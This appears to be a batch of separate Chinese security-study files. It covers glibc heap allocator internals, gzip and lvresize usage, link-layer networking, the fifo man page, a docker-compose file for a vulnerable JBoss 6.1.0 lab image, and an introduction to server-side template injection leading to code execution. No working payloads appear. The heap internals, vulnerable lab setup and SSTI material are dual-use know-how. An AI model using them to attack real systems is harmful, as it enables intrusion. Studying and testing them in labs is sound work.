? 110 + (((unsigned long) (sz)) >> 12) \
: ((((unsigned long) (sz)) >> 15) <= 4) \
? 119 + (((unsigned long) (sz)) >> 15) \
: ((((unsigned long) (sz)) >> 18) <= 2) \
? 124 + (((unsigned long) (sz)) >> 18) \
: 126)
#define largebin_index_32_big(sz) \
(((((unsigned long) (sz)) >> 6) <= 45) \
? 49 + (((unsigned long) (sz)) >> 6) \
: ((((unsigned long) (sz)) >> 9) <= 20) \
? 91 + (((unsigned long) (sz)) >> 9) \
: ((((unsigned long) (sz)) >> 12) <= 10) \
? 110 + (((unsigned long) (sz)) >> 12) \
: ((((unsigned long) (sz)) >> 15) <= 4) \
? 119 + (((unsigned long) (sz)) >> 15) \
: ((((unsigned long) (sz)) >> 18) <= 2) \
? 124 + (((unsigned long) (sz)) >> 18) \
: 126)
// XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well.
#define largebin_index_64(sz) \
(((((unsigned long) (sz)) >> 6) <= 48) \
? 48 + (((unsigned long) (sz)) >> 6) \
: ((((unsigned long) (sz)) >> 9) <= 20) \
? 91 + (((unsigned long) (sz)) >> 9) \
: ((((unsigned long) (sz)) >> 12) <= 10) \
? 110 + (((unsigned long) (sz)) >> 12) \
: ((((unsigned long) (sz)) >> 15) <= 4) \
? 119 + (((unsigned long) (sz)) >> 15) \
: ((((unsigned long) (sz)) >> 18) <= 2) \
? 124 + (((unsigned long) (sz)) >> 18) \
: 126)
#define largebin_index(sz) \
(SIZE_SZ == 8 ? largebin_index_64(sz) : MALLOC_ALIGNMENT == 16 \
? largebin_index_32_big(sz) \
: largebin_index_32(sz))
```
#### Unsorted Bin
unsorted bin 可以视为空闲 chunk 回归其所属 bin 之前的缓冲区。
其在 glibc 中具体的说明如下
```c++
/*
Unsorted chunks
All remainders from chunk splits, as well as all returned chunks,
are first placed in the "unsorted" bin. They are then placed
in regular bins after malloc gives them ONE chance to be used before
binning. So, basically, the unsorted_chunks list acts as a queue,
with chunks being placed on it in free (and malloc_consolidate),
and taken off (to be either used or placed in bins) in malloc.
The NON_MAIN_ARENA flag is never set for unsorted chunks, so it
does not have to be taken into account in size comparisons.
*/
```
从下面的宏我们可以看出
```c++
/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */
#define unsorted_chunks(M) (bin_at(M, 1))
```
unsorted bin 处于我们之前所说的 bin 数组下标 1 处。故而 unsorted bin 只有一个链表。unsorted bin 中的空闲 chunk 处于乱序状态,主要有两个来源
- 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
- 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
此外,Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO 。
#### common macro
这里介绍一些通用的宏。
**根据chunk的大小统一地获得chunk所在的索引**
```c++
#define bin_index(sz) \
((in_smallbin_range(sz)) ? smallbin_index(sz) : largebin_index(sz))
```
### Top Chunk
glibc 中对于 top chunk 的描述如下
```c++
/*
Top
The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.)
*/
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks(M))
```
程序第一次进行 malloc 的时候,heap 会被分为两块,一块给用户,剩下的那块就是 top chunk。其实,所谓的top chunk 就是处于当前堆的物理地址最高的 chunk。这个 chunk 不属于任何一个 bin,它的作用在于当所有的bin 都无法满足用户请求的大小时,如果其大小不小于指定的大小,就进行分配,并将剩下的部分作为新的 top chunk。否则,就对heap进行扩展后再进行分配。在main arena中通过sbrk扩展heap,而在thread arena中通过mmap分配新的heap。
需要注意的是,top chunk 的 prev_inuse 比特位始终为1,否则其前面的chunk就会被合并到top chunk中。
**初始情况下,我们可以将 unsorted chunk 作为 top chunk。**
### last remainder
在用户使用 malloc 请求分配内存时,ptmalloc2 找到的 chunk 可能并不和申请的内存大小一致,这时候就将分割之后的剩余部分称之为 last remainder chunk ,unsort bin 也会存这一块。top chunk 分割剩下的部分不会作为last remainder.
## 宏观结构
### arena
在我们之前介绍的例子中,无论是主线程还是新创建的线程,在第一次申请内存时,都会有独立的arena。那么会不会每个线程都有独立的arena呢?下面我们就具体介绍。
#### arena 数量
对于不同系统,arena数量的[约束](https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/arena.c#L847)如下
```text
For 32 bit systems:
Number of arena = 2 * number of cores.
For 64 bit systems:
Number of arena = 8 * number of cores.
```
显然,不是每一个线程都会有对应的 arena。至于为什么64位系统,要那么设置,我也没有想明白。此外,因为每个系统的核数是有限的,当线程数大于核数的二倍(超线程技术)时,就必然有线程处于等待状态,所以没有必要为每个线程分配一个 arena。
#### arena 分配规则
**待补充。**
#### 区别
与 thread 不同的是,main_arena 并不在申请的 heap 中,而是一个全局变量,在 libc.so 的数据段。
### heap_info
程序刚开始执行时,每个线程是没有 heap 区域的。当其申请内存时,就需要一个结构来记录对应的信息,而heap_info 的作用就是这个。而且当该heap的资源被使用完后,就必须得再次申请内存了。此外,一般申请的heap 是不连续的,因此需要记录不同heap之间的链接结构。
**该数据结构是专门为从 Memory Mapping Segment 处申请的内存准备的,即为非主线程准备的。**
主线程可以通过 sbrk() 函数扩展 program break location 获得(直到触及Memory Mapping Segment),只有一个heap,没有 heap_info 数据结构。
heap_info 的主要结构如下
```c++
#define HEAP_MIN_SIZE (32 * 1024)
#ifndef HEAP_MAX_SIZE
# ifdef DEFAULT_MMAP_THRESHOLD_MAX
# define HEAP_MAX_SIZE (2 * DEFAULT_MMAP_THRESHOLD_MAX)
# else
# define HEAP_MAX_SIZE (1024 * 1024) /* must be a power of two */
# endif
#endif
/* HEAP_MIN_SIZE and HEAP_MAX_SIZE limit the size of mmap()ed heaps
that are dynamically created for multi-threaded programs. The
maximum size must be a power of two, for fast determination of
which heap belongs to a chunk. It should be much larger than the
mmap threshold, so that requests with a size just below that
threshold can be fulfilled without creating too many heaps. */
/***************************************************************************/
/* A heap is a single contiguous memory region holding (coalesceable)
malloc_chunks. It is allocated with mmap() and always starts at an
address aligned to HEAP_MAX_SIZE. */
typedef struct _heap_info
{
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;
```
该结构主要是描述堆的基本信息,包括
- 堆对应的 arena 的地址
- 由于一个线程申请一个堆之后,可能会使用完,之后就必须得再次申请。因此,一个线程可能会有多个堆。prev即记录了上一个 heap_info 的地址。这里可以看到每个堆的 heap_info 是通过单向链表进行链接的。
- size 表示当前堆的大小
- 最后一部分确保对齐
!!! note "pad 里负数的缘由是什么呢?"
`pad` 是为了确保分配的空间是按照 `MALLOC_ALIGN_MASK+1` (记为 `MALLOC_ALIGN_MASK_1`) 对齐的。在 `pad` 之前该结构体一共有 6 个 `SIZE_SZ` 大小的成员, 为了确保 `MALLOC_ALIGN_MASK_1` 字节对齐, 可能需要进行 `pad`,不妨假设该结构体的最终大小为 `MALLOC_ALIGN_MASK_1*x`,其中 `x` 为自然数,那么需要 `pad` 的空间为 `MALLOC_ALIGN_MASK_1 * x - 6 * SIZE_SZ = (MALLOC_ALIGN_MASK_1 * x - 6 * SIZE_SZ) % MALLOC_ALIGN_MASK_1 = 0 - 6 * SIZE_SZ % MALLOC_ALIGN_MASK_1=-6 * SIZE_SZ % MALLOC_ALIGN_MASK_1 = -6 * SIZE_SZ & MALLOC_ALIGN_MASK`。
看起来该结构应该是相当重要的,但是如果如果我们仔细看完整个 malloc 的实现的话,就会发现它出现的频率并不高。
### malloc_state
该结构用于管理堆,记录每个 arena 当前申请的内存的具体状态,比如说是否有空闲chunk,有什么大小的空闲chunk 等等。无论是 thread arena 还是 main arena,它们都只有一个 malloc state 结构。由于 thread 的 arena 可能有多个,malloc state结构会在最新申请的arena中。
**注意,main arena 的 malloc_state 并不是 heap segment 的一部分,而是一个全局变量,存储在 libc.so 的数据段。**
其结构如下
```c++
struct malloc_state {
/* Serialize access. */
__libc_lock_define(, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Fastbins */
mfastbinptr fastbinsY[ NFASTBINS ];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[ NBINS * 2 - 2 ];
/* Bitmap of bins, help to speed up the process of determinating if a given bin is definitely empty.*/
unsigned int binmap[ BINMAPSIZE ];
/* Linked list, points to the next arena */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
```
- __libc_lock_define(, mutex);
- 该变量用于控制程序串行访问同一个分配区,当一个线程获取了分配区之后,其它线程要想访问该分配区,就必须等待该线程分配完成后才能够使用。
- flags
- flags记录了分配区的一些标志,比如 bit0 记录了分配区是否有 fast bin chunk ,bit1 标识分配区是否能返回连续的虚拟地址空间。具体如下
```c
/*
FASTCHUNKS_BIT held in max_fast indicates that there are probably
some fastbin chunks. It is set true on entering a chunk into any
fastbin, and cleared only in malloc_consolidate.
The truth value is inverted so that have_fastchunks will be true
upon startup (since statics are zero-filled), simplifying
initialization checks.
*/
#define FASTCHUNKS_BIT (1U)
#define have_fastchunks(M) (((M)->flags & FASTCHUNKS_BIT) == 0)
#define clear_fastchunks(M) catomic_or(&(M)->flags, FASTCHUNKS_BIT)
#define set_fastchunks(M) catomic_and(&(M)->flags, ~FASTCHUNKS_BIT)
/*
NONCONTIGUOUS_BIT indicates that MORECORE does not return contiguous
regions. Otherwise, contiguity is exploited in merging together,
when possible, results from consecutive MORECORE calls.
The initial value comes from MORECORE_CONTIGUOUS, but is
changed dynamically if mmap is ever used as an sbrk substitute.
*/
#define NONCONTIGUOUS_BIT (2U)
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
/* ARENA_CORRUPTION_BIT is set if a memory corruption was detected on the
arena. Such an arena is no longer used to allocate chunks. Chunks
allocated in that arena before detecting corruption are not freed. */
#define ARENA_CORRUPTION_BIT (4U)
#define arena_is_corrupt(A) (((A)->flags & ARENA_CORRUPTION_BIT))
#define set_arena_corrupt(A) ((A)->flags |= ARENA_CORRUPTION_BIT)
```
- fastbinsY[NFASTBINS]
- 存放每个 fast chunk 链表头部的指针
- top
- 指向分配区的 top chunk
- last_reminder
- 最新的 chunk 分割之后剩下的那部分
- bins
- 用于存储 unstored bin,small bins 和 large bins 的 chunk 链表。
- binmap
- ptmalloc 用一个 bit 来标识某一个 bin 中是否包含空闲 chunk 。
### malloc_par
**!!待补充!!**
|
sec-knowleage
|
lvresize
===
调整逻辑卷空间大小
## 补充说明
**lvresize命令** 用于调整LVM逻辑卷的空间大小,可以增大空间和缩小空间。使用lvresize命令调整逻辑卷空间大小和缩小空间时需要谨慎,因为它有可能导致数据丢失。
### 语法
```shell
lvresize(选项)(参数)
```
### 选项
```shell
-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节;
-l:指定逻辑卷的大小(LE数)。
```
### 参数
逻辑卷:指定要删除的逻辑卷。
### 实例
使用lvresize命令调整最大的逻辑卷大小。在命令行中输入下面的命令:
```shell
[root@localhost ~]# lvresize -L +200M /dev/vg1000/lvol0 #将逻辑卷空间增加200M
```
输出信息如下:
```shell
Extending logical volume lvol0 to 280.00 MB
Logical volume lvol0 successfully resized
```
|
sec-knowleage
|
gzip
===
用来压缩文件
## 补充说明
**gzip命令** 用来压缩文件。gzip是个使用广泛的压缩程序,文件经它压缩过后,其名称后面会多处“.gz”扩展名。
gzip是在Linux系统中经常使用的一个对文件进行压缩和解压缩的命令,既方便又好用。gzip不仅可以用来压缩大的、较少使用的文件以节省磁盘空间,还可以和tar命令一起构成Linux操作系统中比较流行的压缩文件格式。据统计,gzip命令对文本文件有60%~70%的压缩率。减少文件大小有两个明显的好处,一是可以减少存储空间,二是通过网络传输文件时,可以减少传输的时间。
### 语法
```shell
gzip(选项)(参数)
```
### 选项
```shell
-a或——ascii:使用ASCII文字模式;
-d或--decompress或----uncompress:解开压缩文件;
-f或——force:强行压缩文件。不理会文件名称或硬连接是否存在以及该文件是否为符号连接;
-h或——help:在线帮助;
-l或——list:列出压缩文件的相关信息;
-L或——license:显示版本与版权信息;
-n或--no-name:压缩文件时,不保存原来的文件名称及时间戳记;
-N或——name:压缩文件时,保存原来的文件名称及时间戳记;
-q或——quiet:不显示警告信息;
-r或——recursive:递归处理,将指定目录下的所有文件及子目录一并处理;
-S或<压缩字尾字符串>或----suffix<压缩字尾字符串>:更改压缩字尾字符串;
-t或——test:测试压缩文件是否正确无误;
-v或——verbose:显示指令执行过程;
-V或——version:显示版本信息;
-<压缩效率>:压缩效率是一个介于1~9的数值,预设值为“6”,指定愈大的数值,压缩效率就会愈高;
--best:此参数的效果和指定“-9”参数相同;
--fast:此参数的效果和指定“-1”参数相同。
-num 用指定的数字num调整压缩的速度,-1或--fast表示最快压缩方法(低压缩比),-9或--best表示最慢压缩方法(高压缩比)。系统缺省值为6。
-c或--stdout或--to-stdout:保留原始文件,生成标准输出流(结合重定向使用)。
```
### 参数
文件列表:指定要压缩的文件列表。
### 实例
把test6目录下的每个文件压缩成.gz文件
```shell
gzip *
```
把上例中每个压缩的文件解压,并列出详细的信息
```shell
gzip -dv *
```
详细显示例1中每个压缩的文件的信息,并不解压
```shell
gzip -l *
```
压缩一个tar备份文件,此时压缩文件的扩展名为.tar.gz
```shell
gzip -r log.tar
```
递归的压缩目录
```shell
gzip -rv test6
```
这样,所有test下面的文件都变成了*.gz,目录依然存在只是目录里面的文件相应变成了*.gz.这就是压缩,和打包不同。因为是对目录操作,所以需要加上-r选项,这样也可以对子目录进行递归了。
递归地解压目录
```shell
gzip -dr test6
```
保留原始文件,把压缩/解压流重定向到新文件
```shell
gzip -c aa > aa.gz
gzip -dc bb.gz > bb
```
|
sec-knowleage
|
# 计算机网络 - 链路层
<!-- GFM-TOC -->
* [计算机网络 - 链路层](#计算机网络---链路层)
* [基本问题](#基本问题)
* [1. 封装成帧](#1-封装成帧)
* [2. 透明传输](#2-透明传输)
* [3. 差错检测](#3-差错检测)
* [信道分类](#信道分类)
* [1. 广播信道](#1-广播信道)
* [2. 点对点信道](#2-点对点信道)
* [信道复用技术](#信道复用技术)
* [1. 频分复用](#1-频分复用)
* [2. 时分复用](#2-时分复用)
* [3. 统计时分复用](#3-统计时分复用)
* [4. 波分复用](#4-波分复用)
* [5. 码分复用](#5-码分复用)
* [CSMA/CD 协议](#csmacd-协议)
* [PPP 协议](#ppp-协议)
* [MAC 地址](#mac-地址)
* [局域网](#局域网)
* [以太网](#以太网)
* [交换机](#交换机)
* [虚拟局域网](#虚拟局域网)
<!-- GFM-TOC -->
## 基本问题
### 1. 封装成帧
将网络层传下来的分组添加首部和尾部,用于标记帧的开始和结束。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/29a14735-e154-4f60-9a04-c9628e5d09f4.png" width="300"/> </div><br>
### 2. 透明传输
透明表示一个实际存在的事物看起来好像不存在一样。
帧使用首部和尾部进行定界,如果帧的数据部分含有和首部尾部相同的内容,那么帧的开始和结束位置就会被错误的判定。需要在数据部分出现首部尾部相同的内容前面插入转义字符。如果数据部分出现转义字符,那么就在转义字符前面再加个转义字符。在接收端进行处理之后可以还原出原始数据。这个过程透明传输的内容是转义字符,用户察觉不到转义字符的存在。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e738a3d2-f42e-4755-ae13-ca23497e7a97.png" width="500"/> </div><br>
### 3. 差错检测
目前数据链路层广泛使用了循环冗余检验(CRC)来检查比特差错。
## 信道分类
### 1. 广播信道
一对多通信,一个节点发送的数据能够被广播信道上所有的节点接收到。
所有的节点都在同一个广播信道上发送数据,因此需要有专门的控制方法进行协调,避免发生冲突(冲突也叫碰撞)。
主要有两种控制方法进行协调,一个是使用信道复用技术,一是使用 CSMA/CD 协议。
### 2. 点对点信道
一对一通信。
因为不会发生碰撞,因此也比较简单,使用 PPP 协议进行控制。
## 信道复用技术
### 1. 频分复用
频分复用的所有主机在相同的时间占用不同的频率带宽资源。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/4aa5e057-bc57-4719-ab57-c6fbc861c505.png" width="350"/> </div><br>
### 2. 时分复用
时分复用的所有主机在不同的时间占用相同的频率带宽资源。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/67582ade-d44a-46a6-8757-3c1296cc1ef9.png" width="350"/> </div><br>
使用频分复用和时分复用进行通信,在通信的过程中主机会一直占用一部分信道资源。但是由于计算机数据的突发性质,通信过程没必要一直占用信道资源而不让出给其它用户使用,因此这两种方式对信道的利用率都不高。
### 3. 统计时分复用
是对时分复用的一种改进,不固定每个用户在时分复用帧中的位置,只要有数据就集中起来组成统计时分复用帧然后发送。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/6283be2a-814a-4a10-84bf-9592533fe6bc.png" width="350"/> </div><br>
### 4. 波分复用
光的频分复用。由于光的频率很高,因此习惯上用波长而不是频率来表示所使用的光载波。
### 5. 码分复用
为每个用户分配 m bit 的码片,并且所有的码片正交,对于任意两个码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}" class="mathjax-pic"/> 和 <img src="https://latex.codecogs.com/gif.latex?\vec{T}" class="mathjax-pic"/> 有
<!-- <div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{T}=0" class="mathjax-pic"/></div> <br> -->
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/308a02e9-3346-4251-8c41-bd5536dab491.png" width="100px"> </div><br>
为了讨论方便,取 m=8,设码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}" class="mathjax-pic"/> 为 00011011。在拥有该码片的用户发送比特 1 时就发送该码片,发送比特 0 时就发送该码片的反码 11100100。
在计算时将 00011011 记作 (-1 -1 -1 +1 +1 -1 +1 +1),可以得到
<!-- <div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{S}=1" class="mathjax-pic"/></div> <br> -->
<!-- <div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{S'}=-1" class="mathjax-pic"/></div> <br> -->
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/6fda1dc7-5c74-49c1-bb79-237a77e43a43.png" width="100px"> </div><br>
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e325a903-f0b1-4fbd-82bf-88913dc2f290.png" width="125px"> </div><br>
其中 <img src="https://latex.codecogs.com/gif.latex?\vec{S'}" class="mathjax-pic"/> 为 <img src="https://latex.codecogs.com/gif.latex?\vec{S}" class="mathjax-pic"/> 的反码。
利用上面的式子我们知道,当接收端使用码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}" class="mathjax-pic"/> 对接收到的数据进行内积运算时,结果为 0 的是其它用户发送的数据,结果为 1 的是用户发送的比特 1,结果为 -1 的是用户发送的比特 0。
码分复用需要发送的数据量为原先的 m 倍。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/99b6060e-099d-4201-8e86-f8ab3768a7cf.png" width="500px"> </div><br>
## CSMA/CD 协议
CSMA/CD 表示载波监听多点接入 / 碰撞检测。
- **多点接入** :说明这是总线型网络,许多主机以多点的方式连接到总线上。
- **载波监听** :每个主机都必须不停地监听信道。在发送前,如果监听到信道正在使用,就必须等待。
- **碰撞检测** :在发送中,如果监听到信道已有其它主机正在发送数据,就表示发生了碰撞。虽然每个主机在发送数据之前都已经监听到信道为空闲,但是由于电磁波的传播时延的存在,还是有可能会发生碰撞。
记端到端的传播时延为 τ,最先发送的站点最多经过 2τ 就可以知道是否发生了碰撞,称 2τ 为 **争用期** 。只有经过争用期之后还没有检测到碰撞,才能肯定这次发送不会发生碰撞。
当发生碰撞时,站点要停止发送,等待一段时间再发送。这个时间采用 **截断二进制指数退避算法** 来确定。从离散的整数集合 {0, 1, .., (2<sup>k</sup>-1)} 中随机取出一个数,记作 r,然后取 r 倍的争用期作为重传等待时间。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/19d423e9-74f7-4c2b-9b97-55890e0d5193.png" width="400"/> </div><br>
## PPP 协议
互联网用户通常需要连接到某个 ISP 之后才能接入到互联网,PPP 协议是用户计算机和 ISP 进行通信时所使用的数据链路层协议。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e1ab9f28-cb15-4178-84b2-98aad87f9bc8.jpg" width="300"/> </div><br>
PPP 的帧格式:
- F 字段为帧的定界符
- A 和 C 字段暂时没有意义
- FCS 字段是使用 CRC 的检验序列
- 信息部分的长度不超过 1500
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/759013d7-61d8-4509-897a-d75af598a236.png" width="400"/> </div><br>
## MAC 地址
MAC 地址是链路层地址,长度为 6 字节(48 位),用于唯一标识网络适配器(网卡)。
一台主机拥有多少个网络适配器就有多少个 MAC 地址。例如笔记本电脑普遍存在无线网络适配器和有线网络适配器,因此就有两个 MAC 地址。
## 局域网
局域网是一种典型的广播信道,主要特点是网络为一个单位所拥有,且地理范围和站点数目均有限。
主要有以太网、令牌环网、FDDI 和 ATM 等局域网技术,目前以太网占领着有线局域网市场。
可以按照网络拓扑结构对局域网进行分类:
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/807f4258-dba8-4c54-9c3c-a707c7ccffa2.jpg" width="800"/> </div><br>
## 以太网
以太网是一种星型拓扑结构局域网。
早期使用集线器进行连接,集线器是一种物理层设备, 作用于比特而不是帧,当一个比特到达接口时,集线器重新生成这个比特,并将其能量强度放大,从而扩大网络的传输距离,之后再将这个比特发送到其它所有接口。如果集线器同时收到两个不同接口的帧,那么就发生了碰撞。
目前以太网使用交换机替代了集线器,交换机是一种链路层设备,它不会发生碰撞,能根据 MAC 地址进行存储转发。
以太网帧格式:
- **类型** :标记上层使用的协议;
- **数据** :长度在 46-1500 之间,如果太小则需要填充;
- **FCS** :帧检验序列,使用的是 CRC 检验方法;
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/164944d3-bbd2-4bb2-924b-e62199c51b90.png" width="500"/> </div><br>
## 交换机
交换机具有自学习能力,学习的是交换表的内容,交换表中存储着 MAC 地址到接口的映射。
正是由于这种自学习能力,因此交换机是一种即插即用设备,不需要网络管理员手动配置交换表内容。
下图中,交换机有 4 个接口,主机 A 向主机 B 发送数据帧时,交换机把主机 A 到接口 1 的映射写入交换表中。为了发送数据帧到 B,先查交换表,此时没有主机 B 的表项,那么主机 A 就发送广播帧,主机 C 和主机 D 会丢弃该帧,主机 B 回应该帧向主机 A 发送数据包时,交换机查找交换表得到主机 A 映射的接口为 1,就发送数据帧到接口 1,同时交换机添加主机 B 到接口 2 的映射。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/a4444545-0d68-4015-9a3d-19209dc436b3.png" width="800"/> </div><br>
## 虚拟局域网
虚拟局域网可以建立与物理位置无关的逻辑组,只有在同一个虚拟局域网中的成员才会收到链路层广播信息。
例如下图中 (A1, A2, A3, A4) 属于一个虚拟局域网,A1 发送的广播会被 A2、A3、A4 收到,而其它站点收不到。
使用 VLAN 干线连接来建立虚拟局域网,每台交换机上的一个特殊接口被设置为干线接口,以互连 VLAN 交换机。IEEE 定义了一种扩展的以太网帧格式 802.1Q,它在标准以太网帧上加进了 4 字节首部 VLAN 标签,用于表示该帧属于哪一个虚拟局域网。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e98e9d20-206b-4533-bacf-3448d0096f38.png" width="500"/> </div><br>
|
sec-knowleage
|
.\" This man page is Copyright (C) 1999 Claus Fischer.
.\" Permission is granted to distribute possibly modified copies
.\" of this page provided the header is included verbatim,
.\" and in case of nontrivial modification author and date
.\" of the modification is added to the header.
.\"
.\" 990620 - page created - aeb@cwi.nl
.\"
.TH FIFO 7 2016-12-12 "Linux" "Linux Programmer's Manual"
.SH NAME
fifo \- 先进先出的特殊文件, 命名管道
.SH "描述"
一个先进先出(FIFO)的特殊文件(一个命名管道)类似一个管道,但它是作为文件系统的
一部分来访问的。
可以同时有多个进程打开它进行读写。当进程间通过 FIFO 交换数据时,内核会在其内部传送
所有数据,而不会写入文件系统。即,FIFO 特殊文件在文件系统中没有任何内容;
文件系统中的文件条目只是作为一个参照点而已,使得进程可以用文件系统中的一个名字
对其进行访问。
.PP
内核会为至少有一个进程打开了的 FIFO 特殊文件维护单独一个管道对象。
在数据经由 FIFO 传输之前,FIFO 的两端(读和写)必须同时打开。
一般来说,打开 FIFO 的行为会阻塞,直至另一端也被打开。
.PP
一个进程可以使用非阻塞模式打开一个 FIFO。这种情况下,即使写端没有打开,
打开读端还是会成功。但是,如果读端没有打开,打开写端会失败,并且得到
一个
.B ENXIO
(设备或地址不存在)。
.PP
在 Linux 下,不管是阻塞还是非阻塞模式,打开一个 FIFO 用作同时读写都会成功。
POSIX 对于这种情况未进行定义。这个可以用来在读端不可用的情况下打开写端。
一个进程在同时用同一个 FIFO 的两端来实现自己和自己通信的时候要特别小心,
应避免出现死锁。
.SH "注释"
当一个进程企图向读端没有打开的 FIFO 写数据的时候,进程会收到一个
.B SIGPIPE
信号。
FIFO 特殊文件可以用
.BR mkfifo (3)
来创建,并且
.IR "ls -l"
会对其添加一个特殊标记“p”进行指示。
.SH "参见"
.BR mkfifo (1),
.BR open (2),
.BR pipe (2),
.BR sigaction (2),
.BR signal (2),
.BR socketpair (2),
.BR mkfifo (3),
.BR pipe (7)
.SH "跋"
本页面原英文版是 Linux
.I man-pages
项目 4.09 版的一部分。
如需了解这个项目的描述、汇报漏洞的相关信息及本页面的最新版本,
请访问
\%https://www.kernel.org/doc/man\-pages/.
.\" manpages-zh translator: Boyuan Yang <073plan@gmail.com>
.\" manpages-zh date: 2016-12-16
.\" manpages-zh orig-date: 2016-12-12
|
sec-knowleage
|
version: '2'
services:
jboss:
image: vulhub/jboss:as-6.1.0
ports:
- "9990:9990"
- "8080:8080"
|
sec-knowleage
|
# SSTI
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**什么是模板**
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。
模板引擎也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。
**什么是 SSTI**
1. 如果攻击者能够控制要呈现的模板,服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,就可能导致上下文数据的暴露,甚至在服务器上运行任意命令的表达式。
2. 服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行等问题。其影响范围主要取决于模版引擎的复杂性,所以说 用户的输入永远都是不可信的,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言.
**相关文章**
- [一篇文章带你理解漏洞之 SSTI 漏洞](https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/)
- [利用SSTI漏洞获取服务器Shell](https://xz.aliyun.com/t/2637)
- [服务端模板注入攻击 (SSTI) 之浅析](https://tttang.com/archive/962/)
- [服务端模板注入:现代WEB远程代码执行(补充翻译和扩展)](https://tttang.com/archive/945/)
**相关案例**
- [Uber 遠端代碼執行- Uber.com Remote Code Execution via Flask Jinja2 Template Injection](https://blog.orange.tw/2016/04/bug-bounty-uber-ubercom-remote-code_7.html)
**相关工具**
- [epinna/tplmap](https://github.com/epinna/tplmap) - ssti 检测工具
